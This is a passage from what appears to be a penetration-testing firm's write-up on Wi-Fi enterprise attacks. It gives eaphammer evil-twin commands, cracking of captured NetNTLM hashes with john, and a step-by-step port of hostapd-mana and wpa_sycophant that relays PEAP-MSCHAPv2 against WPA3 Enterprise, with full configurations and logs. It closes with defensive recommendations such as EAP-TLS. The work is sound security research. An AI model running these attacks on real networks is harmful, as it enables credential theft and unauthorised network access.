CTRL-EVENT-EAP-PROPOSED-METHOD events correspond to the negotiation of the EAP method to use[14]. When PEAP (method=25) is chosen for Phase 1, and it is the most common chosen method when EAP-TLS is not configured, then the Phase 2 is chosen to send the actual credentials of the account used by the client. In this case, the most commonly seen is MSCHAPv2 which is based on a NTLM challenge-response authentication scheme[15]. In this case the attacker obtains a NetNTLMv2 hash that they will be able to try to crack offline with bruteforce attack:
$ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 6
[...]
mschapv2: Thu Aug 14 15:01:47 2025
domain\username: kingsley.shacklebolt@phoenix.com
username: kingsley.shacklebolt@phoenix.com
challenge: 22:b9:c3:48:f6:86:d4:2f
response: 78:70:43:fa:98:a7:67:69:bd:79:d3:92:89:da:9a:01:0f:42:70:72:b9:39:57:c8
jtr NETNTLM: kingsley.shacklebolt@phoenix.com:$NETNTLM$22b9c348f686d42f$787043fa98a76769bd79d39289da9a010f427072b93957c8
hashcat NETNTLM: kingsley.shacklebolt@phoenix.com::::787043fa98a76769bd79d39289da9a010f427072b93957c8:22b9c348f686d42f
Here is an example using john:
$ john --wordlist=rockyou.txt john_wpa_ntlm.txt
[...]
harrypotter4ever (kingsley.shacklebolt@phoenix.com)
1g 0:00:00:00 DONE (2025-08-14 16:06) 1.666g/s 23906Kp/s 24995Kc/s 24995KC/s !!!cutepops4lif..*7¡Vamos!
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
Session completed.
In the case where the client is misconfigured to accept GTC (which EAPHammer will try to negotiate depending on how you configure it), the client will send its credentials inside the PEAP tunnel in cleartext, which results in the attacker obtaining its credentials directly:
$ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 6
[...]
GTC: Thu Aug 14 14:38:10 2025
username: ron.weasley@phoenix.com
password: croutarlegrosrat
Now, we will see in the following part, that even when the certificate is not validated, compromise is not necessarily straightforward. This will be exemplified with a particular use-case we came across during one of our engagements.
d. Retex
The pain of sysadmins
When we successfully capture credentials using the method detailed above, it means a client device was configured to "not validate" the RADIUS certificate. This is especially common with personal devices used for work (BYOD - Bring Your Own Devices), or simply smartphones where the user will want to connect to the Wi-Fi and configure their work credentials to access the AP of its work offices. On these devices, users may be prompted to accept an untrusted certificate and often doing so without considering the risks.
Moreover, it should be noted that, despite this being discouraged, the accounts used to connect to WPA2 EAP Wi-Fi networks are often Active Directory domain accounts. Therefore, during intrusion test engagements when successfully obtaining credentials, whether because GTC is used or because the challenge-response was cracked, the consequence is both access to the network and authenticated access to the Active Directory domain using the same credentials.
To avoid that, a solution we encountered during an engagement, is using computer accounts instead of user accounts. Generally laptops can be matched to an employee, as long a MSCHAPv2 is configured to be used, the password will be impossible to crack given machine accounts use randomly generated 240-bytes passwords, rotated every 30 days.
Relaying instead of cracking
On the occasion when we encountered this clever setup, the company used computer accounts to authenticate laptops to the Wi-Fi, configured via GPO. This meant the password was the machine account's long, random, and uncrackable password. The only allowed method was PEAP-MSCHAPv2. However, despite that interesting setup, which avoids using the user accounts for network access control, they had the same issue mentioned earlier. The Wi-Fi profile was not configured to correctly check the RADIUS certificate. Therefore, we were able to capture several NetNTLMv2 challenges, but judging by the names of the accounts, it was fairly easy to guess these were machine accounts and we would never crack those.
However, as mentioned above MSCHAPv2 is based on NTLM challenge response authentication. NTLM infamously known for being relayable by an attacker positioned in Man-in-the-Middle. The same thing is indeed possible against the Wi-Fi PEAP-MSCHAPv2 authentication. SensePost published an article[16] following their 2018 DEFCON talk[17]. They released a tool called wpa_sycophant[18] which, used in conjunction with the hostapd-mana[19], allows relaying the MSCHAPv2 authentication. The hostapd-mana will act as your Evil Twin, as long the client does not check the self-hosted RADIUS certificate, it will send its credentials using the Challenge Response scheme of MSCHAPv2. Then, hostapd-mana forwards this authentication process to wpa_sycophant. As soon as the authentication process starts on one side, wpa_sycophant tries to connect to the legitimate AP to forward the authentication. A locking mechanism between the two processes hostapd-mana and wpa_sycophant allows the authentication to be properly relayed. If everything goes as planned, your wpa_sycophant process gives you authenticated access to the AP which you can then use to access the internal network of your target.
Firstly, we can see that the absence of verification of the certificate remains the main issue in the case of EAP Wi-Fi networks. However, using computer accounts limits the possibilities for an attacker. Indeed, the relaying technique is quite a tricky process already and after that we only obtain network access. Once connected, we now have to start unauthenticated reconnaissance. Despite that limitation, during that engagement, we still tried to exploit that scenario. However, we encountered an unexpected issue. The Wi-Fi network was not using WPA2 EAP as we thought. It was actually using WPA3 Enterprise.
WPA3-Enterprise challenges
The issue with this encounter of WPA3 consist of two elements. First, will the relaying even work? Second, hostapd-mana and wpa_sycophant are modified version of respectively hostapd[20] and wpa_supplicant[21], and they are based on old versions of both, which did not yet support WPA3.
We know that in the case of personal Wi-Fi networks, WPA2 PSK was recently replaced by WPA3 which replaces the PSK mechanism with SAE. However, in the case of enterprise Wi-Fi networks, given it uses EAP, the EAP methods behind the authentication process are likely to remain the same. Indeed, that assumption turned out to be true. The main change in WPA3 EAP compared to WPA2 EAP is the addition of stronger encryption methods, and enforcement of Management Frame Protection (802.11w). However, despite those changes, the authentication method used to authorize user before deriving a session key, remains the same. Therefore, what was true concerning PEAP-MSCHAPv2 in WPA2 EAP, remains true in WPA3 EAP.
With that in mind, the problem now was executing the attack, despite these complications. First, WPA3 mandates the use of 802.11w, rendering our deauthentication attacks useless. We could no longer easily force clients to connect to our Evil Twin. Furthermore, the problem of wpa_sycophant and hostapd-mana not being based on a recent enough version of their respective Linux base software remains. And since the tools are made of patches to the source code of these Linux software, updating the tool is not straightforward given you have to update the basis upon which the patches have been made, generating a lot of merge conflicts.
Therefore, to prove the theory that relaying in WPA3 would work similarly, we had to update both hostapd-mana and wpa_sycophant. The official SensePost repositories are both based on the 2.6 version of their Linux counterpart. However, WPA3 support was added for hostapd and wpa_supplicant in later versions only. Without looking too much into the details I thought, "If I have to update it, might as well update it to the latest version". Therefore the goal would be to update both hostapd-mana and wpa_sycophant to the 2.11 version of their Linux equivalent.
Updating wpa_sycophant
It was fairly easy for wpa_sycophant, given there are not a lot of patches done. Again, since the master branch of the wpa_sycophant git repository is made of patches to the source code of wpa_supplicant, we can use git versioning to apply everything on the 2.11 version of wpa_supplicant:
$ git clone https://github.com/sensepost/wpa_sycophant.git
$ wget https://w1.fi/releases/wpa_supplicant-2.11.tar.gz
$ cd wpa_sycophant
$ git checkout 80431d680bd3fbbfaa70b87cbe4c0cb0701ef0fd # Go back to basis of the repo
$ cp -r ../wpa_supplicant-2.11/src/ ./
$ cp -r ../wpa_supplicant-2.11/wpa_supplicant/ ./
$ git add ./*
$ git commit -m 'bump wpa_supplicant version'
$ git merge master # small conflict resolve
$ git status
HEAD detached from 80431d6
You have unmerged paths.
(fix conflicts and run "git commit")
(use "git merge --abort" to abort the merge)
[...]
Unmerged paths:
(use "git add <file>..." to mark resolution)
both modified: src/eap_peer/eap.c
This conflict can be resolved by simply accepting both changes. We now have our wpa_sycophant up to date and ready to go:
$ apt install libnl-route-3-dev libnl-genl-3-dev
$ make -C wpa_supplicant
[...]
LD wpa_supplicant
[...]
Updating hostapd-mana
The story with hostapd-mana is largely different because, contrary to wpa_sycophant, it is a much more diverse tool, that has a lot of other uses. As per its description: "hostapd-mana is a featureful rogue wifi access point tool. It can be used for a myriad of purposes from tracking and deanonymising devices (aka Snoopy), gathering corporate credentials from devices attempting EAP (aka WPE) or attracting as many devices as possible to connect to perform MitM attacks."
Therefore, the patches that transform hostapd 2.6 in hostapd-mana are much more numerous and complex. The same methodology, of simply merging two branches using git did not work this time. Given that hostapd-mana was updated once from its original 2.1 version to 2.6, trying to merge branches will result in enormous amount of conflicts. Indeed, git sees the same changes in both branches, and despite using different merge strategies, a lot of conflicts remained, despite the conflicts in question originating from the same changes being made in both branches. So the solution used, was to take only the most recent basis of hostapd used to extract the patch of hostapd-mana:
$ wget https://w1.fi/releases/hostapd-2.6.tar.gz
$ git clone https://github.com/sensepost/hostapd-mana
$ tar xvf hostapd-2.6.tar.gz
$ diff -ruN -U 5 hostapd-2.6 hostapd-mana > hostapdmana_patch
Then, we only have to apply this to the new version, which will generate fewer conflicts:
$ wget https://w1.fi/releases/hostapd-2.11.tar.gz
$ tar xvf hostapd-2.11.tar.gz
$ patch -p1 -d hostapd-2.11 < hostapdmana_patch
patching file buildspec.yml
patching file crackapd/crackapd.conf
[...]
1 out of 1 hunk FAILED -- saving rejects to file src/utils/wpa_debug.c.rej
patching file .travis.yml
$ find ./hostapd-2.11 -type f -name '*.rej'
./hostapd-2.11/src/eap_server/eap.h.rej
./hostapd-2.11/src/eap_server/eap_server.c.rej
./hostapd-2.11/src/utils/wpa_debug.c.rej
./hostapd-2.11/src/ap/ieee802_11.c.rej
./hostapd-2.11/src/ap/beacon.h.rej
./hostapd-2.11/src/ap/beacon.c.rej
./hostapd-2.11/src/ap/hostapd.c.rej
./hostapd-2.11/src/ap/wpa_auth.c.rej
./hostapd-2.11/src/ap/sta_info.h.rej
./hostapd-2.11/src/ap/drv_callbacks.c.rej
./hostapd-2.11/hostapd/config_file.c.rej
./hostapd-2.11/hostapd/ctrl_iface.c.rej
./hostapd-2.11/hostapd/hostapd.conf.rej
./hostapd-2.11/hostapd/main.c.rej
./hostapd-2.11/hostapd/Makefile.rej
./hostapd-2.11/hostapd/hostapd_cli.c.rej
./hostapd-2.11/hostapd/defconfig.rej
This solution ended up saving a lot of conflicts, because now only "real conflicts" remained. We had only 17 conflicts, that resulted of some structure changes in the source code of hostapd. Once the careful correction of these errors was done, some compilation issues still arose, which allowed to fix the last issues to finally obtain our new 2.11 hostapd-mana:
$ cd hostapd-2.11
$ make -C hostapd
[...]
LD hostapd
[...]
It should be noted that still some compilation warnings arise in the current state of the patch that we used. I cannot confirm that hostapd-mana remains fully functional for all the features it originally supports. But as we shall see, the relaying still works fine, so we did choose to ignore these warnings given they were not blocking.
Relaying WPA3 Enterprise
Now that we have both our tools to the latest version (2.11) and that we have successfully compiled them, we can move on to the actual relaying. First, for our test environment, we are going to use this AP configuration:
$ cat hostapd.conf
interface=$IFACE_WPA3_EAP_AP
driver=nl80211
ssid=MinistryOfSecurity
channel=4
wpa=2
wpa_pairwise=CCMP
auth_algs=1
ieee80211w=2
# WPA3-EAP specifics
wpa_key_mgmt=WPA-EAP-SHA256
sae_require_mfp=1
ieee8021x=1
eap_message=Ca va bien chef ? Tacos cordon bleu nuggets sauce biggy stp chef
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=certs/ca.crt
server_cert=certs/srv.crt
private_key=certs/srv.key
The matching wpa_supplicant configuration for our fake client is the following:
$ cat wpa_supplicant.conf
network={
ssid="MinistryOfSecurity"
scan_ssid=1
key_mgmt=WPA-EAP-SHA256
ieee80211w=2
eap=PEAP
identity="albus.perceval@ministry.sec"
password="ohTh4ohx8phe1aaQue5eijieraishoop"
phase1="peaplabel=0"
phase2="auth=MSCHAPV2"
}
As can be seen in the wpa_supplicant configuration, the client is configured to use PEAP-MSCHAPv2 and the latest WPA3 EAP standard. Now, following the documentation of both SensePost's tools, we can configure hostapd-mana and wpa_sycophant to relay the authentication. It is important to configure bssid_blacklist correctly so that wpa_sycophant does not reconnect to hostapd-mana. Merging the documented configuration and the WPA3 specific settings, the following configuration is obtained:
$ cat hostapd-mana.conf
interface=wlan2
ssid=MinistryOfSecurity
channel=6
wpa=2
wpa_key_mgmt=WPA-EAP-SHA256
sae_require_mfp=1
wpa_pairwise=CCMP
auth_algs=1
ieee80211w=2
eap_server=1
ieee8021x=1
eap_user_file=hostapd.eap_user
ca_cert=certs/ca.pem
server_cert=certs/server.pem
private_key=certs/server.key
private_key_passwd=
dh_file=dhparam.pem
mana_wpe=1
mana_eapsuccess=1
enable_sycophant=1
sycophant_dir=/tmp/
$ cat wpa_sycophant.conf
network={
ssid="MinistryOfSecurity"
scan_ssid=1
key_mgmt=WPA-EAP-SHA256
ieee80211w=2
identity=""
anonymous_identity=""
password=""
eap=PEAP
phase1="crypto_binding=0 peaplabel=0"
phase2="auth=MSCHAPV2"
bssid_blacklist=02:00:00:00:02:00
}
As stated earlier, in the case of WPA3, 802.11w is always enforced making deauthentication ineffective. Therefore, relaying will only happen when the client connects to you because no other options are available, or if you are chosen when they initiate the connection. Despite that, in a lab environment, it is easier to confirm that the relaying indeed works as expected:
- On the
hostapd-manaside, we can see we received a connection and the logs of synchronization withwpa_sycophantfor the relaying:
$ ./hostapd-mana/hostapd hostapd-mana.conf
MANA: Sycohpant state directory set to /tmp/.
wlan2: interface state UNINITIALIZED->ENABLED
wlan2: AP-ENABLED
wlan2: STA 02:00:00:00:11:00 IEEE 802.11: authenticated
wlan2: STA 02:00:00:00:11:00 IEEE 802.11: associated (aid 1)
wlan2: CTRL-EVENT-EAP-STARTED 02:00:00:00:11:00
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: albus.perceval@ministry.sec
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: albus.perceval@ministry.sec
using SYCOPHANT_STATE file : /tmp/SYCOPHANT_STATE
SYCOPHANT: MSCHAPv2 Response handed off to supplicant.
MANA EAP EAP-MSCHAPV2 ASLEAP user=albus.perceval@ministry.sec | asleap -C 78:f8:c7:e0:81:9d:66:47 -R ba:7a:73:96:b2:22:46:e8:5c:d3:51:32:88:0c:5f:26:aa:42:4a:13:ae:a9:98:82
MANA EAP EAP-MSCHAPV2 JTR | albus.perceval@ministry.sec:$NETNTLM$78f8c7e0819d6647$ba7a7396b22246e85cd35132880c5f26aa424a13aea99882:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | albus.perceval@ministry.sec::::ba7a7396b22246e85cd35132880c5f26aa424a13aea99882:78f8c7e0819d6647
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 0a f3 d5 71 4d 9f 76 19 d1 f3 88 ef 40 e3 d9 00
wlan2: CTRL-EVENT-EAP-RETRANSMIT 02:00:00:00:11:00
wlan2: CTRL-EVENT-EAP-RETRANSMIT 02:00:00:00:11:00
wlan2: STA 02:00:00:00:11:00 IEEE 802.11: authenticated
wlan2: STA 02:00:00:00:11:00 IEEE 802.11: associated (aid 1)
wlan2: CTRL-EVENT-EAP-STARTED 02:00:00:00:11:00
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: albus.perceval@ministry.sec
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: albus.perceval@ministry.sec
using SYCOPHANT_STATE file : /tmp/SYCOPHANT_STATE
MANA EAP EAP-MSCHAPV2 ASLEAP user=albus.perceval@ministry.sec | asleap -C b9:7b:4a:26:16:15:22:5c -R d9:5b:fe:da:c5:95:65:8d:34:b5:59:4b:3b:80:59:c9:4c:35:b3:65:81:c2:ea:cb
MANA EAP EAP-MSCHAPV2 JTR | albus.perceval@ministry.sec:$NETNTLM$b97b4a261615225c$d95bfedac595658d34b5594b3b8059c94c35b36581c2eacb:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | albus.perceval@ministry.sec::::d95bfedac595658d34b5594b3b8059c94c35b36581c2eacb:b97b4a261615225c
- On the
wpa_sycophantside, we can see the synchronization as well and finally the obtained network access:
$ ./wpa_sycophant.sh -i wlan3 -c wpa_sycophant.conf
SYCOPHANT : RUNNING "./wpa_supplicant/wpa_supplicant -i wlan3 -c wpa.conf"
SYCOPHANT : RUNNING "dhclient wlan3"
Successfully initialized wpa_sycophant
_ _
__ ___ __ __ _ ___ _ _ ___ ___ _ __ | |__ __ _ _ __ | |_
\ \ /\ / / '_ \ / _` | / __| | | |/ __/ _ \| '_ \| '_ \ / _` | '_ \| __|
\ V V /| |_) | (_| | \__ \ |_| | (_| (_) | |_) | | | | (_| | | | | |_
\_/\_/ | .__/ \__,_|___|___/\__, |\___\___/| .__/|_| |_|\__,_|_| |_|\__|
|_| |_____| |___/ |_|
The most important part is the ascii art - Georg-Christian Pranschke
Set MANA to relay
wlan3: SME: Trying to authenticate with 02:00:00:00:10:00 (SSID='MinistryOfSecurity' freq=2427 MHz)
wlan3: Trying to associate with 02:00:00:00:10:00 (SSID='MinistryOfSecurity' freq=2427 MHz)
wlan3: Associated with 02:00:00:00:10:00
wlan3: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
wlan3: CTRL-EVENT-EAP-STARTED EAP authentication started
SYCOPHANT : Getting Identity
SYCOPHANT : Config phase 1 ident : - hexdump_ascii(len=0):
SYCOPHANT : Phase 1 Identity : - hexdump_ascii(len=27):
61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d albus.perceval@m
69 6e 69 73 74 72 79 2e 73 65 63 inistry.sec
wlan3: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan3: CTRL-EVENT-EAP-METHOD EAP vendor 0 method 25 (PEAP) selected
wlan3: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=FR/ST=IDF/L=Paris/O=SecurityOffice/CN=MinistryOfSecurityCA' hash=51b6f105ec699cab9093c4f01686de4adf2e64254a06928cc3e0e2d2106d3eab
wlan3: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=FR/ST=IDF/L=Paris/O=SecurityOffice/CN=MinistryOfSecurityCA' hash=51b6f105ec699cab9093c4f01686de4adf2e64254a06928cc3e0e2d2106d3eab
wlan3: CTRL-EVENT-EAP-PEER-CERT depth=0 subject='/C=FR/ST=IDF/L=Paris/O=SecurityRadius/CN=secu.radius@ministry.sec' hash=c9c5122500f994aa2f280c33d0e22ef6a0ff8cdea8aca0fb50078e0fe3ab9aac
SYCOPHANT : Getting Identity
SYCOPHANT : Config phase 2 ident : - hexdump_ascii(len=0):
SYCOPHANT : Phase 2 Identity : - hexdump_ascii(len=27):
61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d albus.perceval@m
69 6e 69 73 74 72 79 2e 73 65 63 inistry.sec
SYCOPHANT : CHALLANGE DATA - hexdump(len=16): 5c b7 30 29 46 c3 fa cf f8 1d d7 4c 75 13 e7 b4
SYCOPHANT : CHALLANGE DATA GIVEN TO MANA
SYCOPHANT : INFORMING MANA TO SERVE CHALLENGE
SYCOPHANT : RESPONSE SET BY PEER - hexdump(len=86): 02 e3 00 56 1a 02 e3 00 51 31 26 c3 f4 55 c4 58 c4 9c 41 4b a5 9b 9e ca f6 f1 00 00 00 00 00 00 00 00 da 84 c3 24 da 8d ed fd 88 63 d6 49 de f1 a2 74 b6 7e e7 04 7c d9 d8 79 00 31 d6 cf e0 d1 6a e9 31 b7 3c 59 d7 e0 c0 89 c0 be 6b c6 4c 94 bb c0 62 bc eb fb
SYCOPHANT : ORIG CONTENTS - hexdump(len=86): 02 e3 00 56 1a 02 e3 00 51 31 26 c3 f4 55 c4 58 c4 9c 41 4b a5 9b 9e ca f6 f1 00 00 00 00 00 00 00 00 da 84 c3 24 da 8d ed fd 88 63 d6 49 de f1 a2 74 b6 7e e7 04 7c d9 d8 79 00 31 d6 cf e0 d1 6a e9 31 b7 3c 59 d7 e0 c0 89 c0 be 6b c6 4c 94 bb c0 62 bc eb fb
SYCOPHANT : MANA CONTENTS - hexdump(len=86): 02 28 00 56 1a 02 28 00 51 31 55 34 6c 3a e1 d5 7e f7 b5 67 73 9c 35 93 40 2c 00 00 00 00 00 00 00 00 ba 7a 73 96 b2 22 46 e8 5c d3 51 32 88 0c 5f 26 aa 42 4a 13 ae a9 98 82 00 61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d 69 6e 69 73 74 72 79 2e 73 65 63
SYCOPHANT : ORIG CONTENTS - hexdump(len=86): 02 e3 00 56 1a 02 e3 00 51 31 55 34 6c 3a e1 d5 7e f7 b5 67 73 9c 35 93 40 2c 00 00 00 00 00 00 00 00 ba 7a 73 96 b2 22 46 e8 5c d3 51 32 88 0c 5f 26 aa 42 4a 13 ae a9 98 82 00 61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d 69 6e 69 73 74 72 79 2e 73 65 63
SYCOPHANT : MANA CONTENTS - hexdump(len=86): 02 28 00 56 1a 02 28 00 51 31 55 34 6c 3a e1 d5 7e f7 b5 67 73 9c 35 93 40 2c 00 00 00 00 00 00 00 00 ba 7a 73 96 b2 22 46 e8 5c d3 51 32 88 0c 5f 26 aa 42 4a 13 ae a9 98 82 00 61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d 69 6e 69 73 74 72 79 2e 73 65 63
EAP-MSCHAPV2: Received success
Response not verified, does not seem important
EAP-MSCHAPV2: Authentication succeeded
wlan3: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully
wlan3: PMKSA-CACHE-ADDED 02:00:00:00:10:00 0
wlan3: WPA: Key negotiation completed with 02:00:00:00:10:00 [PTK=CCMP GTK=CCMP]
wlan3: CTRL-EVENT-CONNECTED - Connection to 02:00:00:00:10:00 completed [id=0 id_str=]
This specific use-case shows even latest standards can still suffer misconfigurations. However, to be fair, this is a very specific use case, and in practice, it would be very difficult to exploit due to the deauthentication protection and Wi-Fi signal strength considerations.
e. Recommendation
The most effective way to prevent these credential thefts and relaying attacks is to use EAP-TLS exclusively. This requires deploying a client certificate to every device that needs to connect to the network. While it involves setting up a Public Key Infrastructure (PKI), in companies that use WPA2 EAP, they often have a PKI setup already. With EAP-TLS, the certificate itself is the credential. An attacker running an Evil Twin can still present a fake certificate, but the legitimate client will not be able to connect as it will correctly verify the certificate. Unless the attacker can steal the private key of a client's certificate, they will not be able to gain access to the network.
For instance, when the clients are correctly configured, the following logs can be observed:
$ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 1
[...]
wlan1: CTRL-EVENT-EAP-STARTED 12:32:65:54:45:56
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=13
SSL: SSL3 alert: read (remote end reported an error):fatal:certificate unknown
OpenSSL: openssl_handshake - SSL_connect error:14094416:SSL routines:ssl3_read_bytes:sslv3 alert certificate unknown
wlan1: CTRL-EVENT-EAP-FAILURE 12:32:65:54:45:56
It is possible to notice the client chose EAP method=13 which corresponds to EAP-TLS[13] and then when trying to authenticate with that method, an alert is raised because our EAPHammer uses a self-signed certificate, which is therefore not validated on the client side.
Conclusions
We have summarized and exemplified several situations we can find during Wi-Fi intrusion tests. Now that we have reviewed the problem and solution for each one, we can acknowledge security is generally undermined by simple misconfigurations, password weaknesses or legacy protocols. If you are looking for a solution to your Wi-Fi security, the recommendation to each wireless configuration are as follows:
1. Open (Public/Guest) Networks:
The name says it all: treat these networks as completely public. Any device connecting should do so through a trusted VPN if they want to guarantee their security and to encrypt their traffic from the local network to the internet. Otherwise, TLS encryption used for most of the internet will suffice as long as users understand Man-in-the-Middle is an inherent possibility of the Open Wi-Fi and they should never accept an untrusted certificate when browsing to an HTTPS website. For the network owner, enabling Client Isolation is an ideal first step to prevent users from reaching each other. The use of the OWE standard can also be recommended to avoid passive wireless sniffing.
2. WEP Networks:
Sadly in the case of WEP network, there is no recommendation other than removal. WEP is cryptographically broken and should be considered as insecure as an open network. If a device supports only WEP, then the network should be hardened taking into account that an attacker can easily connect to it.
3. WPA2-PSK (Personal/Shared Key) Networks:
The security of a PSK network is defined by its password. Use a long and random passphrase and you should be fine. If all your devices support it, upgrade to WPA3 Personal, as its SAE handshake method protects against handshake capture and offline cracking. If the support is not general, you can still use WPA2 transition mode, older devices will still suffer handshake captures, but newer devices will benefit from WPA3 standards. However, always remember the organizational risk: a shared key is difficult to manage. When an employee leaves, the only way to revoke their access is to change the key for everyone.
4. WPA2-EAP (Enterprise) Networks:
This is ideal standard for large companies, but only if configured correctly. All client devices must be configured to validate the RADIUS server's certificate to prevent Evil Twin attacks. The ideal way to avoid misconfiguration is to use EAP-TLS. While not always feasible, using certificate-based authentication eliminates password-based risks entirely, rendering credential theft and relay attacks ineffective.
References
- https://en.wikipedia.org/wiki/IEEE_802.11w-2009
- https://en.wikipedia.org/wiki/802.11_frame_types#Types_and_subtypes
- https://github.com/lgandx/Responder/
- https://en.wikipedia.org/wiki/Wired_Equivalent_Privacy
- https://www.aircrack-ng.org/
- https://en.wikipedia.org/wiki/Wi-Fi_Protected_Access#WPA-Personal
- https://networklessons.com/wireless/wpa-and-wpa2-4-way-handshake
- https://hashcat.net/forum/thread-7717.html
- https://git.w1.fi/cgit/hostap/plain/wpa_supplicant/README
- https://www.krackattacks.com/
- https://en.wikipedia.org/wiki/Simultaneous_Authentication_of_Equals
- https://github.com/s0lst1c3/eaphammer
- https://www.bettercap.org/
- https://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4
- https://datatracker.ietf.org/doc/html/rfc2759#section-1
- https://sensepost.com/blog/2019/peap-relay-attacks-with-wpa_sycophant/
- https://www.youtube.com/watch?v=eYsGyvGxlpI&t=1052s
- https://github.com/sensepost/wpa_sycophant
- https://github.com/sensepost/hostapd-mana
- https://w1.fi/hostapd/
- https://w1.fi/wpa_supplicant/